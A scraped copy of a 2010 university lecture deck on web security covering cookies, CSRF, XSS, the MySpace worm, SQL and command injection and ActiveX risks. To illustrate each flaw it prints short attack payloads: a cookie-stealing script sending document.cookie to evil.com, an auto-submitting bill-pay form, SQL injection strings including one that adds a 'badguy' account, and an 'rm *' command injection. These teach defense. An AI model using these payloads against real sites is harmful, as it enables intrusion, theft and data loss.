CS419 Spring 2010 Computer Security Vinod Ganapathy Lecture 17: - - PowerPoint PPT Presentation

cs419 spring 2010
SMART_READER_LITE
LIVE PREVIEW

CS419 Spring 2010 Computer Security Vinod Ganapathy Lecture 17: - - PowerPoint PPT Presentation

CS419 Spring 2010 Computer Security Vinod Ganapathy Lecture 17: Web Security Slide credits: Prof. Vitaly Shmatikov, UT-Austin. Browser and Network request website Browser reply Network OS Hardware February 12, 2002 Microsoft Issues


slide-1
SLIDE 1

CS419 – Spring 2010 Computer Security

Vinod Ganapathy Lecture 17: Web Security

Slide credits: Prof. Vitaly Shmatikov, UT-Austin.

slide-2
SLIDE 2

Browser and Network

Browser Network OS Hardware

website request reply

slide-3
SLIDE 3

Microsoft Issues New IE Browser Security Patch By Richard Karpinski – Microsoft has released a security patch that closes some major holes in its Internet Explorer browser – The so-called "cumulative patch" fixes six different IE problems – Affected browsers include Internet Explorer 5.01, 5.5 and 6.0 – Microsoft rated the potential security breaches as "critical" February 12, 2002

slide-4
SLIDE 4

Fixed by the February 2002 Patch

  • Buffer overrun associated with an HTML directive

– Could be used by hackers to run malicious code on a user's system

  • Scripting vulnerability

– Lets an attacker read files on a user's system

  • Vulnerability related to the display of file names

– Hackers could misrepresent the name of a file and trick a user into downloading an unsafe file

  • … and many more
slide-5
SLIDE 5

October 12, 2004

Microsoft Security Bulletin MS04-038 If a user is logged on with administrative privileges, an attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system, including installing programs; viewing, changing, or deleting data; or creating new accounts with full privileges. […] Microsoft recommends that customers install the update immediately.

Cascading Style Sheets (CSS) Heap Critical Memory Corruption Vulnerability Similar Method Name Redirection Critical Cross Domain Vulnerability Install Engine Vulnerability Critical SSL Caching Vulnerability Moderate Aggregate Severity of All Vulnerabilities Critical

slide-6
SLIDE 6

December 13, 2005

Microsoft Security Bulletin MS05-054 If a user is logged on with administrative user rights, an

attacker who successfully exploited the most severe of these vulnerabilities could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. […] We recommend that customers apply the update immediately.

File Download Dialog Box Manipulation Vulnerability Moderate HTTPS Proxy Vulnerability Moderate COM Object Instantiation Memory Corruption Vulnerability Critical Mismatched Document Object Model Objects Critical Memory Corruption Vulnerability Aggregate Severity of All Vulnerabilities Critical

slide-7
SLIDE 7

January 7, 2007

Microsoft Security Bulletin MS07-004

A remote code execution vulnerability exists in the

Vector Markup Language (VML) implementation in Microsoft Windows. An attacker could exploit the vulnerability by constructing a specially crafted Web page or HTML e-mail that could potentially allow remote code execution if a user visited the Web page or viewed the message. An attacker who successfully exploited this vulnerability could take complete control of an affected system.

Maximum Severity Rating: Critical Recommendation: Customers should apply the update immediately

slide-8
SLIDE 8

August 14, 2007

Microsoft Security Bulletin MS07-050

This security update resolves a privately reported

vulnerability in the Vector Markup Language (VML) implementation in Windows. The vulnerability could allow remote code execution if a user viewed a specially crafted Web page using Internet Explorer.

Maximum Severity Rating: Critical Recommendation: Customers should apply the update immediately

slide-9
SLIDE 9

Many Other Vulnerabilities

  • Check out

http://www.microsoft.com/technet/security/

  • 49 “critical” updates related to Internet

Explorer 6.0 between Oct 10, 2001, and Aug 14, 2007

slide-10
SLIDE 10

HTTP: HyperText Transfer Protocol

  • Used to request and return data

– Methods: GET, POST, HEAD, …

  • Stateless request/response protocol

– Each request is independent of previous requests – Statelessness has a significant impact on design and implementation of applications

  • Evolution

– HTTP 1.0: simple – HTTP 1.1: more complex

slide-11
SLIDE 11

GET /default.asp HTTP/1.0 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Connection: Keep-Alive If-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT

HTTP Request

Method File HTTP version Headers Data – none for GET Blank line

slide-12
SLIDE 12

HTTP/1.0 200 OK Date: Sun, 21 Apr 1996 02:20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr 1996 17:39:05 GMT Content-Length: 2543 <HTML> Some data... blah, blah, blah </HTML>

HTTP Response

HTTP version Status code Reason phrase Headers Data

slide-13
SLIDE 13

HTTP Digest Authentication

client server

Request URL with GET or POST method

  • HTTP 401 Unauthorised
  • Authentication “realm”

(description of system being accessed)

  • Fresh, random nonce

H3=hash(H1, server nonce, H2) Recompute H3 and verify H1=hash(username, realm, password) H2=hash(method, URL)

slide-14
SLIDE 14

Primitive Browser Session

www.e_buy.com www.e_buy.com/ shopping.cfm? pID=269

View catalog

www.e_buy.com/ shopping.cfm? pID=269& item1=102030405 www.e_buy.com/ checkout.cfm? pID=269& item1=102030405

Check out Select item Store session information in URL; easily read on network

slide-15
SLIDE 15

FatBrain.com circa 1999

  • User logs into website with his password, authenticator is

generated, user is given special URL containing the authenticator – With special URL, user doesn’t need to re-authenticate

  • Reasoning: user could not have not known the

special URL without authenticating first. That’s true, BUT…

  • Authenticators are global sequence numbers

– It’s easy to guess sequence number for another user – Fix: use random authenticators

https://www.fatbrain.com/HelpAccount.asp?t=0&p1=me@me.com&p2=540555758 https://www.fatbrain.com/HelpAccount.asp?t=0&p1=SomeoneElse&p2=540555752

[Fu et al.]

slide-16
SLIDE 16

Bad Idea: Encoding State in URL

  • Unstable, frequently changing URLs
  • Vulnerable to eavesdropping
  • There is no guarantee that URL is private

– Early versions of Opera used to send entire browsing history, including all visited URLs, to Google

slide-17
SLIDE 17

Storing Info Across Sessions

  • A cookie is a file created by an Internet

site to store information on your computer

Browser

Server

Enters form data Stores cookie

Browser

Server

Requests cookie Returns data HTTP is a stateless protocol; cookies add state

Includes domain (who can read it), expiration, “secure” (can be read only over SSL)

slide-18
SLIDE 18

What Are Cookies Used For?

  • Authentication

– Use the fact that the user authenticated correctly in the past to make future authentication quicker

  • Personalization

– Recognize the user from a previous visit

  • Tracking

– Follow the user from site to site; learn his/ her browsing behavior, preferences, and so

  • n
slide-19
SLIDE 19

Cookie Management

  • Cookie ownership

– Once a cookie is saved on your computer,

  • nly the website that created the cookie can

read it

  • Variations

– Temporary cookies

  • Stored until you quit your browser

– Persistent cookies

  • Remain until deleted or expire

– Third-party cookies

  • Originates on or sent to another website
slide-20
SLIDE 20

Privacy Issues with Cookies

  • Cookie may include any information about you known by

the website that created it – Browsing activity, account information, etc.

  • Sites can share this information

– Advertising networks – 2o7.net tracking cookie

  • Browser attacks could invade your “privacy”

November 8, 2001: Users of Microsoft's browser and e-mail programs could be vulnerable to having their browser cookies stolen or modified due to a new security bug in Internet Explorer (IE), the company warned today

slide-21
SLIDE 21

The Weather Channel

The website “twci.coremetrics.com” has requested to save a file on your computer called a “cookie.” This file may be used to track usage information…

slide-22
SLIDE 22

MySpace

The website “insightexpressai.com” has requested to save a file on your computer called a “cookie”…

slide-23
SLIDE 23

Let’s Take a Closer Look…

slide-24
SLIDE 24

Storing State in Browser

  • Dansie Shopping Cart (2006)

– “A premium, comprehensive, Perl shopping cart. Increase your web sales by making it easier for your web store customers to

  • rder.”

<FORM METHOD=POST ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl"> Black Leather purse with leather straps<BR>Price: $20.00<BR> <INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"> <INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse with leather straps"> <INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart"> </FORM>

Change this to 2.00 Bargain shopping!

slide-25
SLIDE 25

Shopping Cart Form Tampering

  • Many Web-based shopping cart applications use hidden

fields in HTML forms to hold parameters for items in an

  • nline store. These parameters can include the item's

name, weight, quantity, product ID, and price. Any application that bases price on a hidden field in an HTML form is vulnerable to price changing by a remote user. A remote user can change the price of a particular item they intend to buy, by changing the value for the hidden HTML tag that specifies the price, to purchase products at any price they choose.

  • Platforms Affected:

– 3D3.COM Pty Ltd: ShopFactory 5.8 and earlier @Retail Corporation: @Retail Any version – Adgrafix: Check It Out Any version Baron Consulting Group: WebSite Tool Any version – ComCity Corporation: SalesCart Any version Crested Butte Software: EasyCart Any version – Dansie.net: Dansie Shopping Cart Any version Intelligent Vending Systems: Intellivend Any version – Make-a-Store: Make-a-Store OrderPage Any version McMurtrey/Whitaker & Associates: Cart32 2.6

http://xforce.iss.net/xforce/xfdb/4621

slide-26
SLIDE 26

Other Risks of Hidden Forms

  • Estonian bank’s web server
  • HTML source reveals a hidden variable

that points to a file name

  • Change file name to password file
  • Webserver displays contents of password

file

– Bank was not using shadow password files!

  • Standard cracking program took 15

minutes to crack root password

[From “The Art of Intrusion”]

slide-27
SLIDE 27

Storing State in Browser Cookies

  • Set-cookie: price=299.99
  • User edits the cookie… cookie:

price=29.99

  • What’s the solution?
  • Add a MAC to every cookie, computed

with the server’s secret key

– Price=299.99; HMAC(ServerKey, 299.99)

  • But what if the website changes the price?
slide-28
SLIDE 28

Web Authentication via Cookies

  • Need authentication system that works over HTTP and

does not require servers to store session data – Why is it a bad idea to store session state on server?

  • Servers can use cookies to store state on client

– After client successfully authenticates, server computes an authenticator and gives it to browser in a cookie

  • Client cannot forge authenticator on his own
  • Example: hash(server’s secret key, session id)

– With each request, browser presents the cookie – Server recomputes and verifies the authenticator

  • Server does not need to remember the authenticator
slide-29
SLIDE 29

Typical Session with Cookies

client server

POST /login.cgi Set-Cookie:authenticator GET /restricted.html Cookie:authenticator Restricted content

Verify that this client is authorized Check validity of authenticator (e.g., recompute hash(key,sessId))

Authenticators must be unforgeable and tamper-proof

(malicious client shouldn’t be able to compute his own or modify an existing authenticator)

slide-30
SLIDE 30

WSJ.com circa 1999

  • Idea: use user,hash(user,key) as authenticator

– Key is secret and known only to the server. Without the key, clients can’t forge authenticators.

  • Implementation: user,crypt(user,key)

– crypt() is UNIX hash function for passwords – crypt() truncates its input at 8 characters – Usernames matching first 8 characters end up with the same authenticator – No expiration or revocation

  • It gets worse… This scheme can be exploited to

extract the server’s secret key

[Fu et al.]

slide-31
SLIDE 31

Attack

username crypt(username,key,“00”) authenticator cookie AliceBob1 AliceBob2 008H8LRfzUXvk AliceBob1008H8LRfzUXvk 008H8LRfzUXvk AliceBob2008H8LRfzUXvk

Create an account with a 7-letter user name…

AliceBoA 0073UYEre5rBQ Try logging in: access refused AliceBoB 00bkHcfOXBKno Access refused AliceBoC 00ofSJV6An1QE Login successful! 1st key symbol is C

Now a 6-letter user name…

AliceBCA AliceBCB 001mBnBErXRuc 00T3JLLfuspdo Access refused Access refused… and so on

  • Only need 128 x 8 queries instead of intended 1288
  • 17 minutes with a simple Perl script vs. 2 billion years
slide-32
SLIDE 32

Better Cookie Authenticator

Capability Expiration Hash(server secret, capability, expiration)

Describes what user is authorized to do on the site that issued the cookie Cannot be forged by malicious user; does not leak server secret

  • Main lesson: don’t roll your own!

– Homebrewed authentication schemes are often flawed

  • There are standard cookie-based schemes
slide-33
SLIDE 33
  • Online banking, shopping, government, etc. etc.
  • Website takes input from user, interacts with back-end

databases and third parties, outputs results by generating an HTML page

  • Often written from scratch in a mixture of PHP, Java, Perl,

Python, C, ASP

  • Security is rarely the main concern

– Poorly written scripts with inadequate input validation – Sensitive data stored in world-readable files – Recent push from Visa and Mastercard to improve security of data management (PCI standard)

Web Applications

slide-34
SLIDE 34

JavaScript

  • Language executed by browser

– Can run before HTML is loaded, before page is viewed, while it is being viewed or when leaving the page

  • Often used to exploit other vulnerabilities

– Attacker gets to execute some code on user’s machine – Cross-scripting: attacker inserts malicious JavaScript into a Web page or HTML email; when script is executed, it steals user’s cookies and hands them over to attacker’s site

slide-35
SLIDE 35

Scripting

<script type="text/javascript"> function whichButton(event) { if (event.button==1) { alert("You clicked the left mouse button!") } else { alert("You clicked the right mouse button!") }} </script> … <body onMouseDown="whichButton(event)"> … </body>

Script defines a page-specific function Function gets executed when some event happens (onLoad, onKeyPress, onMouseMove…)

slide-36
SLIDE 36

JavaScript Security Model

  • Script runs in a “sandbox”

– Not allowed to access files or talk to the network

  • Same-origin policy

– Can only read properties of documents and windows from the same server, protocol, and port – If the same server hosts unrelated sites, scripts from one site can access document properties on the other

  • User can grant privileges to signed scripts

– UniversalBrowserRead/Write, UniversalFileRead, UniversalSendMail

slide-37
SLIDE 37

Cookie Authentication: Not Enough!

  • Users logs into bank.com, forgets to sign off

– Session cookie remains in browser state

  • User then visits a malicious website containing

<form name=BillPayForm action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.BillPayForm.submit(); </script>

  • Browser sends cookie, payment request fulfilled!!
  • Lesson: cookie authentication not sufficient when side

effects can happen

slide-38
SLIDE 38

XSRF: Cross-Site Request Forgery

  • Same browser runs a script from a “good” site and a

malicious script from a “bad” site – Requests to “good” site are authenticated by cookies

  • Malicious script can make forged requests to “good” site

with user’s cookie – Netflix: change acct settings, Gmail: steal contacts – Potential for much bigger damage (think banking)

  • Prevention: website should embed fresh nonce in every

form, check for it on every request – Forged requests will have cookie, but not the nonce

slide-39
SLIDE 39

Risks of Poorly Written Scripts

  • For example, echo user’s input

http://naive.com/search.php?term=“Britney Spears” search.php responds with <html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>… </body> Or GET/ hello.cgi?name=Bob hello.cgi responds with <html>Welcome, dear Bob</html>

slide-40
SLIDE 40

XSS: Cross-Site Scripting

victim’s browser naive.com evil.com

Access some web page <FRAME SRC= http://naive.com/hello.cgi? name=<script>win.open( “http://evil.com/steal.cgi? cookie=”+document.cookie) </script>> Forces victim’s browser to call hello.cgi on naive.com with this script as “name” GET/ hello.cgi?name= <script>win.open(“http:// evil.com/steal.cgi?cookie”+ document.cookie)</script>

hello.cgi executed

<HTML>Hello, dear <script>win.open(“http:// evil.com/steal.cgi?cookie=” +document.cookie)</script> Welcome!</HTML> Interpreted as Javascript by victim’s browser;

  • pens window and calls

steal.cgi on evil.com GET/ steal.cgi?cookie= E.g., URL embedded in HTML email

hello.cgi

slide-41
SLIDE 41
  • XSS is a form of reflection attack

– User is tricked into visiting a badly written website – A bug in website code causes it to display the attack script and the user’s browser to execute arbitrary operations contained in the attack script

  • Can transmit user’s private data to attacker

– E.g., encode it in a URL request to attacker’s site

  • Can change contents of the affected website

– Show bogus information, request sensitive data

  • Can cause user’s browser to attack other websites

XSS Risks

slide-42
SLIDE 42
  • Users can post HTML on their MySpace pages
  • MySpace does not allow scripts in users’ HTML

– No <script>, <body>, onclick, <a href=javascript://>

  • … but does allow <div> tags for CSS. K00L!

– <div style=“background:url(‘javascript:alert(1)’)”>

  • But MySpace will strip out “javascript”

– Use “java<NEWLINE>script” instead

  • But MySpace will strip out quotes

– Convert from decimal instead: alert('double quote: ' + String.fromCharCode(34))

MySpace Worm (1)

http://namb.la/popular/tech.html

slide-43
SLIDE 43
  • “There were a few other complications and things to get
  • around. This was not by any means a straight forward

process, and none of this was meant to cause any damage or piss anyone off. This was in the interest

  • f..interest. It was interesting and fun!”
  • Started on “samy” MySpace page
  • Everybody who visits an infected page, becomes

infected and adds “samy” as a friend and hero

  • 5 hours later “samy”

has 1,005,831 friends – Was adding 1,000 friends per second at its peak

MySpace Worm (2)

http://namb.la/popular/tech.html

slide-44
SLIDE 44
  • Hide script in user-created content

– Social sites (e.g., MySpace), blogs, forums, wikis

  • When visitor loads the page, webserver displays the

content and visitor’s browser executes script – Many sites try to filter out scripts from user content, but this is difficult (example: samy worm)

  • Another reflection trick

– Some websites parse input from URL http://cnn.com/login?URI=“>><script>AttackScript</ script> – Use phishing email to drive users to this URL – Similar: malicious DOM (client parses bad URL)

Where Malicious Scripts Live

Attack code does not appear in HTML sent

  • ver network
slide-45
SLIDE 45
  • Scripts embedded in webpages

– Same-origin policy doesn’t prohibit embedding of third-party scripts – Ad servers, mashups, etc.

  • “Bookmarklets”

– Bookmarked JavaScript URL javascript:alert(“Welcome to paradise!”) – Runs in the context of current loaded page

Other Sources of Malicious Scripts

slide-46
SLIDE 46
  • Preventing injection of scripts into HTML is hard!

– Blocking “<” and “>” is not enough – Event handlers, stylesheets, encoded inputs (%3C), etc. – phpBB allowed simple HTML tags like <b> <b c=“>” onmouseover=“script” x=“<b ”>Hello<b>

  • Any user input must be preprocessed before it is used

inside HTML – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes

  • ‘ becomes &#039; “ becomes &quot; & becomes

&amp; – In ASP.NET, Server.HtmlEncode(string)

Preventing Cross-Site Scripting

slide-47
SLIDE 47

Inadequate Input Validation

  • http://victim.com/copy.php?

name=username

  • copy.php includes

system(“cp temp.dat $name.dat”)

  • User calls

http://victim.com/copy.php?name=“a; rm *”

  • copy.php executes

system(“cp temp.dat a; rm *”);

Supplied by the user!

slide-48
SLIDE 48

URL Redirection

  • http://victim.com/cgi-bin/loadpage.cgi?page=url

– Redirects browser to url – Commonly used for tracking user clicks; referrals

  • Phishing website puts

http://victim.com/ cgi-bin/loadpage.cgi?page=phish.com

  • Everything looks Ok (the link is indeed pointing to

victim.com), but user ends up on phishing site!

slide-49
SLIDE 49

User Data in SQL Queries

  • set UserFound=execute(

SELECT * FROM UserTable WHERE username=′ ” & form(“user”) & “ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );

– User supplies username and password, this SQL query checks if user/password combination is in the database

  • If not UserFound.EOF

Authentication correct else Fail

Only true if the result of SQL query is not empty, i.e., user/ pwd is in the database

slide-50
SLIDE 50

SQL Injection

  • User gives username ′ OR 1=1 --
  • Web server executes query

set UserFound=execute( SELECT * FROM UserTable WHERE username=′ ′ OR 1=1 -- … );

  • This returns the entire database!
  • UserFound.EOF is always false;

authentication is always “correct”

Always true! Everything after -- is ignored!

slide-51
SLIDE 51

Another SQL Injection Example

  • To authenticate logins, server runs this SQL

command against the user database: SELECT * WHERE user=‘name’ AND pwd=‘passwd’

  • User enters ’ OR WHERE pwd LIKE `% as

both name and passwd

  • Server executes

SELECT * WHERE user=‘’ OR WHERE pwd LIKE `%’ AND pwd=‘’ OR WHERE pwd LIKE `%’

  • Logs in with the credentials of the first

[From “The Art of Intrusion”]

Wildcard matches any password

slide-52
SLIDE 52

It Gets Better

  • User gives username

′ exec cmdshell ’net user badguy badpwd’ / ADD

  • Web server executes query

set UserFound=execute( SELECT * FROM UserTable WHERE username=′ ′ exec … -- … );

  • Creates an account for badguy on DB

server

  • Fix: always escape user-supplied

arguments

slide-53
SLIDE 53

Uninitialized Inputs

/* php-files/lostpassword.php */ for ($i=0; $i<=7; $i++) $new_pass .= chr(rand(97,122)) … $result = dbquery(“UPDATE ”.$db_prefix.“users SET user_password=md5(‘$new_pass’) WHERE user_id=‘”.$data[‘user_id’].“ ’ ”); In normal execution, this becomes UPDATE users SET user_password=md5(‘???????’) WHERE user_id=‘userid’

Creates a password with 7 random characters, assuming $new_pass is set to NULL SQL query setting password in the DB

slide-54
SLIDE 54

… with superuser privileges User’s password is set to ‘badPwd’

Exploit

User appends this to the URL: &new_pass=badPwd%27%29%2c user_level=%27103%27%2cuser_aim=%28%27 SQL query becomes UPDATE users SET user_password=md5(‘badPwd’) user_level=‘103’, user_aim=(‘???????’) WHERE user_id=‘userid’

This sets $new_pass to badPwd’), user_level=‘103’, user_aim=(‘

slide-55
SLIDE 55

The Longhorns sacked Leinart three times…

SQL Injection in the Real World

  • “A programming error in the University of

Southern California's online system for accepting applications from prospective students left the personal information of as many as 280,000 users publicly accessible… The vulnerability in USC's online Web application system is a relatively common and well-known software bug, known as database injection or SQL injection”

  • SecurityFocus, July 6, 2005
slide-56
SLIDE 56

Poor Input Validation: Examples

  • Web form for traceroute doesn’t check for

“&” ⇒ type <IP addr> & <any shell command>

  • PHF (phonebook) CGI script does not

check input for newline ⇒ execute any shell command

– Open xterm to attacker’s X server, display pwd file – Use it to show directory contents, learn that Apache is running as “nobody”, change config file so that it runs as “root” next time, break in after a blackout

[From “The Art of Intrusion”]

slide-57
SLIDE 57

ActiveX

  • ActiveX controls are compiled binaries

– Downloaded and installed

  • ActiveX controls reside on client's machine

– Activated by HTML object tag on the page – Run as binaries, not interpreted by browser

  • Security model relies on three components

– Digital signatures to verify the source of the binary – Browser policy can reject controls from network zones – Controls can be marked by author as “safe for initialization” or “safe for scripting”

slide-58
SLIDE 58

Installing Controls

If you install and run, no further control over the code

In principle, browser/OS could apply sandboxing, other techniques for containing risks in native code

slide-59
SLIDE 59

ActiveX Risks

  • From MSDN:

– “An ActiveX control can be an extremely insecure way to provide a feature. Because it is a Component Object Model (COM) object, it can do anything the user can do from that computer. It can read from and write to the registry, and it has access to the local file system. From the moment a user downloads an ActiveX control, the control may be vulnerable to attack because any Web application on the Internet can repurpose it, that is, use the control for its own ends whether sincere or malicious.”

  • How can a control be “repurposed?”

– Once installed, control can be accessed by any page that knows its class identifier (CLSID)

slide-60
SLIDE 60

IE Browser “Helper Objects”

  • COM components loaded when IE starts up
  • Run in same memory context as the

browser

  • Perform any action on IE windows and

modules

– Detect browser events

  • GoBack, GoForward, and DocumentComplete

– Access browser menu, toolbar and make changes – Create windows to display information (or ads!!) – Install hooks to monitor messages and actions

  • There is no protection from extensions
slide-61
SLIDE 61

Dangerous Websites

  • Recent “Web patrol” study at Microsoft

identified 752 unique URLs that could successfully exploit unpatched Windows XP machines

– Many are interlinked by redirection and controlled by the same major players

  • “But I never visit risky websites”

– 11 exploit pages are among top 10,000 most visited – Trick: put up a page with popular content, get into search engines, page redirects to the exploit site

slide-62
SLIDE 62

Attacks on Browser Privacy

  • “Same-origin” principle

– Only the site that stores some information in the browser may later read or modify that information

  • Not fully enforced in today’s browsers

– Firefox checks third-party cookie policy only when the cookie is read, not when the cookie is set

  • Any site can set a third-party cookie
  • Cache tracking and timing attacks

– Measure time it takes to load a page

  • If fast, user must have visited it recently (still in the